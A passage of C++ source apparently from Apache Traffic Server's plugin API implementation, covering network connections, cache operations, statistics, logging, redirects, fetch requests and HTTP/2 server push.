sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
return TSVConnCreate(event_funcp,
reinterpret_cast<TSMutex>(static_cast<Continuation *>(reinterpret_cast<HttpSM *>(txnp))->getMutex()));
}
TSVConn
TSTransformOutputVConnGet(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
VConnection *vc = (VConnection *)connp;
TSVConn data;
vc->get_data(TS_API_DATA_OUTPUT_VC, &data); // This case can't fail.
return data;
}
void
TSHttpTxnServerIntercept(TSCont contp, TSHttpTxn txnp)
{
HttpSM *http_sm = (HttpSM *)txnp;
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
http_sm->plugin_tunnel_type = HTTP_PLUGIN_AS_SERVER;
http_sm->plugin_tunnel = PluginVCCore::alloc((INKContInternal *)contp);
}
void
TSHttpTxnIntercept(TSCont contp, TSHttpTxn txnp)
{
HttpSM *http_sm = (HttpSM *)txnp;
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
http_sm->plugin_tunnel_type = HTTP_PLUGIN_AS_INTERCEPT;
http_sm->plugin_tunnel = PluginVCCore::alloc((INKContInternal *)contp);
}
// The API below require timer values as TSHRTime parameters
// which are in nanoseconds. Use the TS_HRTIME macros defined
// in ts/experimental.h until they are promoted to stable
// api.
/* Net VConnections */
void
TSVConnInactivityTimeoutSet(TSVConn connp, TSHRTime timeout)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
NetVConnection *vc = (NetVConnection *)connp;
vc->set_inactivity_timeout(timeout);
}
void
TSVConnInactivityTimeoutCancel(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
NetVConnection *vc = (NetVConnection *)connp;
vc->cancel_inactivity_timeout();
}
void
TSVConnActiveTimeoutSet(TSVConn connp, TSHRTime timeout)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
NetVConnection *vc = (NetVConnection *)connp;
vc->set_active_timeout(timeout);
}
void
TSVConnActiveTimeoutCancel(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
NetVConnection *vc = (NetVConnection *)connp;
vc->cancel_active_timeout();
}
sockaddr const *
TSNetVConnLocalAddrGet(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
NetVConnection *vc = reinterpret_cast<NetVConnection *>(connp);
return vc->get_local_addr();
}
sockaddr const *
TSNetVConnRemoteAddrGet(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
NetVConnection *vc = reinterpret_cast<NetVConnection *>(connp);
return vc->get_remote_addr();
}
TSAction
TSNetConnect(TSCont contp, sockaddr const *addr)
{
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(ats_is_ip(addr));
HttpConfigParams *http_config_param = HttpConfig::acquire();
NetVCOptions opt;
if (http_config_param) {
opt.set_sock_param(http_config_param->oride.sock_recv_buffer_size_out, http_config_param->oride.sock_send_buffer_size_out,
http_config_param->oride.sock_option_flag_out, http_config_param->oride.sock_packet_mark_out,
http_config_param->oride.sock_packet_tos_out);
HttpConfig::release(http_config_param);
}
FORCE_PLUGIN_SCOPED_MUTEX(contp);
return reinterpret_cast<TSAction>(netProcessor.connect_re(reinterpret_cast<INKContInternal *>(contp), addr, &opt));
}
TSAction
TSNetConnectTransparent(TSCont contp, sockaddr const *client_addr, sockaddr const *server_addr)
{
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(ats_is_ip(server_addr));
sdk_assert(ats_ip_are_compatible(client_addr, server_addr));
NetVCOptions opt;
opt.addr_binding = NetVCOptions::FOREIGN_ADDR;
opt.local_ip.assign(client_addr);
opt.local_port = ats_ip_port_host_order(client_addr);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
return reinterpret_cast<TSAction>(netProcessor.connect_re(reinterpret_cast<INKContInternal *>(contp), server_addr, &opt));
}
TSCont
TSNetInvokingContGet(TSVConn conn)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(conn);
UnixNetVConnection *net_vc = dynamic_cast<UnixNetVConnection *>(vc);
TSCont ret = nullptr;
if (net_vc) {
const Action *action = net_vc->get_action();
ret = reinterpret_cast<TSCont>(action->continuation);
}
return ret;
}
TSHttpTxn
TSNetInvokingTxnGet(TSVConn conn)
{
TSCont cont = TSNetInvokingContGet(conn);
TSHttpTxn ret = nullptr;
if (cont) {
Continuation *contobj = reinterpret_cast<Continuation *>(cont);
HttpSM *sm = dynamic_cast<HttpSM *>(contobj);
if (sm) {
ret = reinterpret_cast<TSHttpTxn>(sm);
}
}
return ret;
}
TSAction
TSNetAccept(TSCont contp, int port, int domain, int accept_threads)
{
NetProcessor::AcceptOptions opt;
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(port > 0);
sdk_assert(accept_threads >= -1);
// TODO: Does this imply that only one "accept thread" could be
// doing an accept at any time?
FORCE_PLUGIN_SCOPED_MUTEX(contp);
opt = make_net_accept_options(nullptr, accept_threads);
// If it's not IPv6, force to IPv4.
opt.ip_family = domain == AF_INET6 ? AF_INET6 : AF_INET;
opt.local_port = port;
opt.frequent_accept = false;
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
return reinterpret_cast<TSAction>(netProcessor.accept(i, opt));
}
/* From proxy/http/HttpProxyServerMain.c: */
extern bool ssl_register_protocol(const char *, Continuation *);
TSReturnCode
TSNetAcceptNamedProtocol(TSCont contp, const char *protocol)
{
sdk_assert(protocol != nullptr);
sdk_assert(contp != nullptr);
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
if (!ssl_register_protocol(protocol, (INKContInternal *)contp)) {
return TS_ERROR;
}
return TS_SUCCESS;
}
/* DNS Lookups */
TSAction
TSHostLookup(TSCont contp, const char *hostname, size_t namelen)
{
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)hostname) == TS_SUCCESS);
sdk_assert(namelen > 0);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = (INKContInternal *)contp;
return (TSAction)hostDBProcessor.getbyname_re(i, hostname, namelen);
}
sockaddr const *
TSHostLookupResultAddrGet(TSHostLookupResult lookup_result)
{
sdk_assert(sdk_sanity_check_hostlookup_structure(lookup_result) == TS_SUCCESS);
HostDBInfo *di = reinterpret_cast<HostDBInfo *>(lookup_result);
return di->ip();
}
/*
* checks if the cache is ready
*/
/* Only TSCacheReady exposed in SDK. No need of TSCacheDataTypeReady */
/* because SDK cache API supports only the data type: NONE */
TSReturnCode
TSCacheReady(int *is_ready)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)is_ready) == TS_SUCCESS);
return TSCacheDataTypeReady(TS_CACHE_DATA_TYPE_NONE, is_ready);
}
/* Private API (used by Mixt) */
TSReturnCode
TSCacheDataTypeReady(TSCacheDataType type, int *is_ready)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)is_ready) == TS_SUCCESS);
CacheFragType frag_type;
switch (type) {
case TS_CACHE_DATA_TYPE_NONE:
frag_type = CACHE_FRAG_TYPE_NONE;
break;
case TS_CACHE_DATA_TYPE_OTHER: /* other maps to http */
case TS_CACHE_DATA_TYPE_HTTP:
frag_type = CACHE_FRAG_TYPE_HTTP;
break;
default:
*is_ready = 0;
return TS_ERROR;
}
*is_ready = cacheProcessor.IsCacheReady(frag_type);
return TS_SUCCESS;
}
/* Cache VConnections */
TSAction
TSCacheRead(TSCont contp, TSCacheKey key)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
CacheInfo *info = (CacheInfo *)key;
Continuation *i = (INKContInternal *)contp;
return (TSAction)cacheProcessor.open_read(i, &info->cache_key, info->frag_type, info->hostname, info->len);
}
TSAction
TSCacheWrite(TSCont contp, TSCacheKey key)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
CacheInfo *info = (CacheInfo *)key;
Continuation *i = (INKContInternal *)contp;
return (TSAction)cacheProcessor.open_write(i, &info->cache_key, info->frag_type, 0, false, info->pin_in_cache, info->hostname,
info->len);
}
TSAction
TSCacheRemove(TSCont contp, TSCacheKey key)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
CacheInfo *info = (CacheInfo *)key;
INKContInternal *i = (INKContInternal *)contp;
return (TSAction)cacheProcessor.remove(i, &info->cache_key, info->frag_type, info->hostname, info->len);
}
TSAction
TSCacheScan(TSCont contp, TSCacheKey key, int KB_per_second)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
// NOTE: key can be NULl here, so don't check for it.
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = (INKContInternal *)contp;
if (key) {
CacheInfo *info = (CacheInfo *)key;
return (TSAction)cacheProcessor.scan(i, info->hostname, info->len, KB_per_second);
}
return reinterpret_cast<TSAction>(cacheProcessor.scan(i, nullptr, 0, KB_per_second));
}
/************************ REC Stats API **************************/
int
TSStatCreate(const char *the_name, TSRecordDataType the_type, TSStatPersistence persist, TSStatSync sync)
{
int id = ink_atomic_increment(&api_rsb_index, 1);
RecRawStatSyncCb syncer = RecRawStatSyncCount;
// TODO: This only supports "int" data types at this point, since the "Raw" stats
// interfaces only supports integers. Going forward, we could extend either the "Raw"
// stats APIs, or make non-int use the direct (synchronous) stats APIs (slower).
if ((sdk_sanity_check_null_ptr((void *)the_name) != TS_SUCCESS) || (sdk_sanity_check_null_ptr((void *)api_rsb) != TS_SUCCESS) ||
(id >= api_rsb->max_stats)) {
return TS_ERROR;
}
switch (sync) {
case TS_STAT_SYNC_SUM:
syncer = RecRawStatSyncSum;
break;
case TS_STAT_SYNC_AVG:
syncer = RecRawStatSyncAvg;
break;
case TS_STAT_SYNC_TIMEAVG:
syncer = RecRawStatSyncHrTimeAvg;
break;
default:
syncer = RecRawStatSyncCount;
break;
}
switch (persist) {
case TS_STAT_PERSISTENT:
RecRegisterRawStat(api_rsb, RECT_PLUGIN, the_name, (RecDataT)the_type, RECP_PERSISTENT, id, syncer);
break;
case TS_STAT_NON_PERSISTENT:
RecRegisterRawStat(api_rsb, RECT_PLUGIN, the_name, (RecDataT)the_type, RECP_NON_PERSISTENT, id, syncer);
break;
default:
return TS_ERROR;
}
return id;
}
void
TSStatIntIncrement(int id, TSMgmtInt amount)
{
sdk_assert(sdk_sanity_check_stat_id(id) == TS_SUCCESS);
RecIncrRawStat(api_rsb, nullptr, id, amount);
}
void
TSStatIntDecrement(int id, TSMgmtInt amount)
{
RecDecrRawStat(api_rsb, nullptr, id, amount);
}
TSMgmtInt
TSStatIntGet(int id)
{
TSMgmtInt value;
sdk_assert(sdk_sanity_check_stat_id(id) == TS_SUCCESS);
RecGetGlobalRawStatSum(api_rsb, id, &value);
return value;
}
void
TSStatIntSet(int id, TSMgmtInt value)
{
sdk_assert(sdk_sanity_check_stat_id(id) == TS_SUCCESS);
RecSetGlobalRawStatSum(api_rsb, id, value);
}
TSReturnCode
TSStatFindName(const char *name, int *idp)
{
int id;
sdk_assert(sdk_sanity_check_null_ptr((void *)name) == TS_SUCCESS);
if (RecGetRecordOrderAndId(name, nullptr, &id) != REC_ERR_OKAY) {
return TS_ERROR;
}
if (RecGetGlobalRawStatPtr(api_rsb, id) == nullptr) {
return TS_ERROR;
}
*idp = id;
return TS_SUCCESS;
}
/************************** Stats API ****************************/
// THESE APIS ARE DEPRECATED, USE THE REC APIs INSTEAD
// #define ink_sanity_check_stat_structure(_x) TS_SUCCESS
inline TSReturnCode
ink_sanity_check_stat_structure(void *obj)
{
if (obj == nullptr) {
return TS_ERROR;
}
return TS_SUCCESS;
}
/************************** Tracing API ****************************/
// returns 1 or 0 to indicate whether TS is being run with a debug tag.
int
TSIsDebugTagSet(const char *t)
{
return is_debug_tag_set(t);
}
void
TSDebugSpecific(int debug_flag, const char *tag, const char *format_str, ...)
{
if ((debug_flag && diags->on()) || is_debug_tag_set(tag)) {
va_list ap;
va_start(ap, format_str);
diags->print_va(tag, DL_Diag, nullptr, format_str, ap);
va_end(ap);
}
}
// Plugins would use TSDebug just as the TS internal uses Debug
// e.g. TSDebug("plugin-cool", "Snoopy is a cool guy even after %d requests.", num_reqs);
void
TSDebug(const char *tag, const char *format_str, ...)
{
if (is_debug_tag_set(tag)) {
va_list ap;
va_start(ap, format_str);
diags->print_va(tag, DL_Diag, nullptr, format_str, ap);
va_end(ap);
}
}
/************************** Logging API ****************************/
TSReturnCode
TSTextLogObjectCreate(const char *filename, int mode, TSTextLogObject *new_object)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)filename) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)new_object) == TS_SUCCESS);
if (mode < 0 || mode >= TS_LOG_MODE_INVALID_FLAG) {
*new_object = nullptr;
return TS_ERROR;
}
TextLogObject *tlog = new TextLogObject(
filename, Log::config->logfile_dir, (bool)mode & TS_LOG_MODE_ADD_TIMESTAMP, nullptr, Log::config->rolling_enabled,
Log::config->preproc_threads, Log::config->rolling_interval_sec, Log::config->rolling_offset_hr, Log::config->rolling_size_mb,
Log::config->rolling_max_count, Log::config->rolling_min_count, Log::config->rolling_allow_empty);
if (tlog == nullptr) {
*new_object = nullptr;
return TS_ERROR;
}
int err = (mode & TS_LOG_MODE_DO_NOT_RENAME ? Log::config->log_object_manager.manage_api_object(tlog, 0) :
Log::config->log_object_manager.manage_api_object(tlog));
if (err != LogObjectManager::NO_FILENAME_CONFLICTS) {
delete tlog;
*new_object = nullptr;
return TS_ERROR;
}
*new_object = (TSTextLogObject)tlog;
return TS_SUCCESS;
}
TSReturnCode
TSTextLogObjectWrite(TSTextLogObject the_object, const char *format, ...)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)format) == TS_SUCCESS);
TSReturnCode retVal = TS_SUCCESS;
va_list ap;
va_start(ap, format);
switch (((TextLogObject *)the_object)->va_write(format, ap)) {
case (Log::LOG_OK):
case (Log::SKIP):
case (Log::AGGR):
break;
case (Log::FULL):
retVal = TS_ERROR;
break;
case (Log::FAIL):
retVal = TS_ERROR;
break;
default:
ink_assert(!"invalid return code");
}
va_end(ap);
return retVal;
}
void
TSTextLogObjectFlush(TSTextLogObject the_object)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
((TextLogObject *)the_object)->force_new_buffer();
}
TSReturnCode
TSTextLogObjectDestroy(TSTextLogObject the_object)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
if (Log::config->log_object_manager.unmanage_api_object((TextLogObject *)the_object)) {
return TS_SUCCESS;
}
return TS_ERROR;
}
void
TSTextLogObjectHeaderSet(TSTextLogObject the_object, const char *header)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
((TextLogObject *)the_object)->set_log_file_header(header);
}
TSReturnCode
TSTextLogObjectRollingEnabledSet(TSTextLogObject the_object, int rolling_enabled)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
if (LogRollingEnabledIsValid(rolling_enabled)) {
((TextLogObject *)the_object)->set_rolling_enabled((Log::RollingEnabledValues)rolling_enabled);
return TS_SUCCESS;
}
return TS_ERROR;
}
void
TSTextLogObjectRollingIntervalSecSet(TSTextLogObject the_object, int rolling_interval_sec)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
((TextLogObject *)the_object)->set_rolling_interval_sec(rolling_interval_sec);
}
void
TSTextLogObjectRollingOffsetHrSet(TSTextLogObject the_object, int rolling_offset_hr)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
((TextLogObject *)the_object)->set_rolling_offset_hr(rolling_offset_hr);
}
void
TSTextLogObjectRollingSizeMbSet(TSTextLogObject the_object, int rolling_size_mb)
{
sdk_assert(sdk_sanity_check_iocore_structure(the_object) == TS_SUCCESS);
((TextLogObject *)the_object)->set_rolling_size_mb(rolling_size_mb);
}
TSReturnCode
TSHttpSsnClientFdGet(TSHttpSsn ssnp, int *fdp)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)fdp) == TS_SUCCESS);
VConnection *basecs = reinterpret_cast<VConnection *>(ssnp);
ProxySession *cs = dynamic_cast<ProxySession *>(basecs);
if (cs == nullptr) {
return TS_ERROR;
}
NetVConnection *vc = cs->get_netvc();
if (vc == nullptr) {
return TS_ERROR;
}
*fdp = vc->get_socket();
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnClientFdGet(TSHttpTxn txnp, int *fdp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)fdp) == TS_SUCCESS);
TSHttpSsn ssnp = TSHttpTxnSsnGet(txnp);
return TSHttpSsnClientFdGet(ssnp, fdp);
}
TSReturnCode
TSHttpTxnServerFdGet(TSHttpTxn txnp, int *fdp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)fdp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
*fdp = -1;
Http1ServerSession *ss = sm->get_server_session();
if (ss == nullptr) {
return TS_ERROR;
}
NetVConnection *vc = ss->get_netvc();
if (vc == nullptr) {
return TS_ERROR;
}
*fdp = vc->get_socket();
return TS_SUCCESS;
}
/* Matcher Utils */
char *
TSMatcherReadIntoBuffer(char *file_name, int *file_len)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)file_name) == TS_SUCCESS);
return readIntoBuffer((char *)file_name, "TSMatcher", file_len);
}
char *
TSMatcherTokLine(char *buffer, char **last)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)buffer) == TS_SUCCESS);
return tokLine(buffer, last);
}
char *
TSMatcherExtractIPRange(char *match_str, uint32_t *addr1, uint32_t *addr2)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)match_str) == TS_SUCCESS);
return (char *)ExtractIpRange(match_str, addr1, addr2);
}
// Conflict in header due to overload (must be C compatible).
char *
TSMatcherExtractIPRange(char *match_str, sockaddr *addr1, sockaddr *addr2)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)match_str) == TS_SUCCESS);
return (char *)ExtractIpRange(match_str, addr1, addr2);
}
TSMatcherLine
TSMatcherLineCreate()
{
return reinterpret_cast<TSMatcherLine>(ats_malloc(sizeof(matcher_line)));
}
void
TSMatcherLineDestroy(TSMatcherLine ml)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)ml) == TS_SUCCESS);
ats_free(ml);
}
const char *
TSMatcherParseSrcIPConfigLine(char *line, TSMatcherLine ml)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)line) == TS_SUCCESS);
return parseConfigLine(line, (matcher_line *)ml, &ip_allow_src_tags);
}
char *
TSMatcherLineName(TSMatcherLine ml, int element)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)ml) == TS_SUCCESS);
return (((matcher_line *)ml)->line)[0][element];
}
char *
TSMatcherLineValue(TSMatcherLine ml, int element)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)ml) == TS_SUCCESS);
return (((matcher_line *)ml)->line)[1][element];
}
/* Configuration Setting */
TSReturnCode
TSMgmtConfigIntSet(const char *var_name, TSMgmtInt value)
{
TSMgmtInt result;
char *buffer;
// is this a valid integer?
if (TSMgmtIntGet(var_name, &result) != TS_SUCCESS) {
return TS_ERROR;
}
// construct a buffer
int buffer_size = strlen(var_name) + 1 + 32 + 1 + 64 + 1;
buffer = static_cast<char *>(alloca(buffer_size));
snprintf(buffer, buffer_size, "%s %d %" PRId64 "", var_name, MGMT_INT, value);
// tell manager to set the configuration; note that this is not
// transactional (e.g. we return control to the plugin before the
// value is committed to disk by the manager)
RecSignalManager(MGMT_SIGNAL_PLUGIN_SET_CONFIG, buffer);
return TS_SUCCESS;
}
TSReturnCode
TSCacheUrlSet(TSHttpTxn txnp, const char *url, int length)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
Debug("cache_url", "[TSCacheUrlSet]");
if (sm->t_state.cache_info.lookup_url == nullptr) {
Debug("cache_url", "[TSCacheUrlSet] changing the cache url to: %s", url);
if (length == -1) {
length = strlen(url);
}
sm->t_state.cache_info.lookup_url_storage.create(nullptr);
sm->t_state.cache_info.lookup_url = &(sm->t_state.cache_info.lookup_url_storage);
sm->t_state.cache_info.lookup_url->parse(url, length);
return TS_SUCCESS;
}
return TS_ERROR;
}
void
TSCacheHttpInfoKeySet(TSCacheHttpInfo infop, TSCacheKey keyp)
{
// TODO: Check input ?
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
CryptoHash *key = (CryptoHash *)keyp;
info->object_key_set(*key);
}
void
TSCacheHttpInfoSizeSet(TSCacheHttpInfo infop, int64_t size)
{
// TODO: Check input ?
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
info->object_size_set(size);
}
// this function should be called at TS_EVENT_HTTP_READ_RESPONSE_HDR
void
TSHttpTxnRedirectUrlSet(TSHttpTxn txnp, const char *url, const int url_len)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)url) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
if (sm->redirect_url != nullptr) {
ats_free(sm->redirect_url);
sm->redirect_url = nullptr;
sm->redirect_url_len = 0;
}
sm->redirect_url = (char *)url;
sm->redirect_url_len = url_len;
sm->enable_redirection = true;
sm->redirection_tries = 0;
// Make sure we allow for at least one redirection.
if (sm->t_state.txn_conf->number_of_redirections <= 0) {
sm->t_state.setup_per_txn_configs();
sm->t_state.my_txn_conf().number_of_redirections = 1;
}
}
const char *
TSHttpTxnRedirectUrlGet(TSHttpTxn txnp, int *url_len_ptr)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
*url_len_ptr = sm->redirect_url_len;
return sm->redirect_url;
}
int
TSHttpTxnRedirectRetries(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->redirection_tries;
}
char *
TSFetchRespGet(TSHttpTxn txnp, int *length)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
FetchSM *fetch_sm = reinterpret_cast<FetchSM *>(txnp);
return fetch_sm->resp_get(length);
}
TSReturnCode
TSFetchPageRespGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HTTPHdr *hptr = (HTTPHdr *)txnp;
if (hptr->valid()) {
*(reinterpret_cast<HTTPHdr **>(bufp)) = hptr;
*obj = reinterpret_cast<TSMLoc>(hptr->m_http);
return sdk_sanity_check_mbuffer(*bufp);
}
return TS_ERROR;
}
// Fetchpages SM
extern ClassAllocator<FetchSM> FetchSMAllocator;
void
TSFetchPages(TSFetchUrlParams_t *params)
{
TSFetchUrlParams_t *myparams = params;
while (myparams != nullptr) {
FetchSM *fetch_sm = FetchSMAllocator.alloc();
sockaddr *addr = ats_ip_sa_cast(&myparams->ip);
fetch_sm->init((Continuation *)myparams->contp, myparams->options, myparams->events, myparams->request, myparams->request_len,
addr);
fetch_sm->httpConnect();
myparams = myparams->next;
}
}
void
TSFetchUrl(const char *headers, int request_len, sockaddr const *ip, TSCont contp, TSFetchWakeUpOptions callback_options,
TSFetchEvent events)
{
if (callback_options != NO_CALLBACK) {
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
}
FetchSM *fetch_sm = FetchSMAllocator.alloc();
fetch_sm->init((Continuation *)contp, callback_options, events, headers, request_len, ip);
fetch_sm->httpConnect();
}
void
TSFetchFlagSet(TSFetchSM fetch_sm, int flags)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
(reinterpret_cast<FetchSM *>(fetch_sm))->set_fetch_flags(flags);
}
TSFetchSM
TSFetchCreate(TSCont contp, const char *method, const char *url, const char *version, struct sockaddr const *client_addr, int flags)
{
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(ats_is_ip(client_addr));
FetchSM *fetch_sm = FetchSMAllocator.alloc();
fetch_sm->ext_init((Continuation *)contp, method, url, version, client_addr, flags);
return reinterpret_cast<TSFetchSM>(fetch_sm);
}
void
TSFetchHeaderAdd(TSFetchSM fetch_sm, const char *name, int name_len, const char *value, int value_len)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
(reinterpret_cast<FetchSM *>(fetch_sm))->ext_add_header(name, name_len, value, value_len);
}
void
TSFetchWriteData(TSFetchSM fetch_sm, const void *data, size_t len)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
(reinterpret_cast<FetchSM *>(fetch_sm))->ext_write_data(data, len);
}
ssize_t
TSFetchReadData(TSFetchSM fetch_sm, void *buf, size_t len)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
return (reinterpret_cast<FetchSM *>(fetch_sm))->ext_read_data(static_cast<char *>(buf), len);
}
void
TSFetchLaunch(TSFetchSM fetch_sm)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
(reinterpret_cast<FetchSM *>(fetch_sm))->ext_launch();
}
void
TSFetchDestroy(TSFetchSM fetch_sm)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
(reinterpret_cast<FetchSM *>(fetch_sm))->ext_destroy();
}
void
TSFetchUserDataSet(TSFetchSM fetch_sm, void *data)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
(reinterpret_cast<FetchSM *>(fetch_sm))->ext_set_user_data(data);
}
void *
TSFetchUserDataGet(TSFetchSM fetch_sm)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
return (reinterpret_cast<FetchSM *>(fetch_sm))->ext_get_user_data();
}
TSMBuffer
TSFetchRespHdrMBufGet(TSFetchSM fetch_sm)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
return ((FetchSM *)fetch_sm)->resp_hdr_bufp();
}
TSMLoc
TSFetchRespHdrMLocGet(TSFetchSM fetch_sm)
{
sdk_assert(sdk_sanity_check_fetch_sm(fetch_sm) == TS_SUCCESS);
return ((FetchSM *)fetch_sm)->resp_hdr_mloc();
}
int
TSHttpSsnIsInternal(TSHttpSsn ssnp)
{
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
if (!cs) {
return 0;
}
NetVConnection *vc = cs->get_netvc();
if (!vc) {
return 0;
}
return vc->get_is_internal_request() ? 1 : 0;
}
int
TSHttpTxnIsInternal(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
return TSHttpSsnIsInternal(TSHttpTxnSsnGet(txnp));
}
TSReturnCode
TSHttpTxnServerPush(TSHttpTxn txnp, const char *url, int url_len)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
URL url_obj;
url_obj.create(nullptr);
if (url_obj.parse(url, url_len) == PARSE_RESULT_ERROR) {
url_obj.destroy();
return TS_ERROR;
}
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
Http2Stream *stream = dynamic_cast<Http2Stream *>(sm->ua_txn);
if (stream == nullptr) {
url_obj.destroy();
return TS_ERROR;
}
Http2ClientSession *ua_session = static_cast<Http2ClientSession *>(stream->get_proxy_ssn());
SCOPED_MUTEX_LOCK(lock, ua_session->mutex, this_ethread());
if (ua_session->connection_state.is_state_closed() || ua_session->is_url_pushed(url, url_len)) {
url_obj.destroy();
return TS_ERROR;
}
HTTPHdr *hptr = &(sm->t_state.hdr_info.client_request);
TSMLoc obj = reinterpret_cast<TSMLoc>(hptr->m_http);
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(obj);
MIMEField *f = mime_hdr_field_find(mh, MIME_FIELD_ACCEPT_ENCODING, MIME_LEN_ACCEPT_ENCODING);
if (!stream->push_promise(url_obj, f)) {
url_obj.destroy();
return TS_ERROR;
}
ua_session->add_url_to_pushed_table(url, url_len);
url_obj.destroy();
return TS_SUCCESS;
}
TSReturnCode
TSAIORead(int fd, off_t offset, char *buf, size_t buffSize, TSCont contp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
Continuation *pCont = (Continuation *)contp;
AIOCallback *pAIO = new_AIOCallback();
if (pAIO == nullptr) {
return TS_ERROR;
}
pAIO->aiocb.aio_fildes = fd;
pAIO->aiocb.aio_offset = offset;
